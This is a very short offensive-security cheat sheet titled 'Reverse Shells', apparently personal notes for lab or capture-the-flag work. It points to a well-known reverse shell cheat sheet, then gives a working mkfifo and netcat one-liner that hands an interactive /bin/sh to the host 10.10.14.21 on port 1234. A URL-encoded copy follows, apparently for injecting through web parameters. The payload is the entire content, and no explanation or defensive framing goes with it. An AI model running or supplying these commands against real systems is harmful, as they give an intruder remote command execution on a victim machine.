Reverse Shells

Classic list of shells:

Reverse Shell Cheat Sheetpentestmonkey

One of the most reliable:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.21 1234 >/tmp/f

URL Encoded version:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.21+1234+>/tmp/f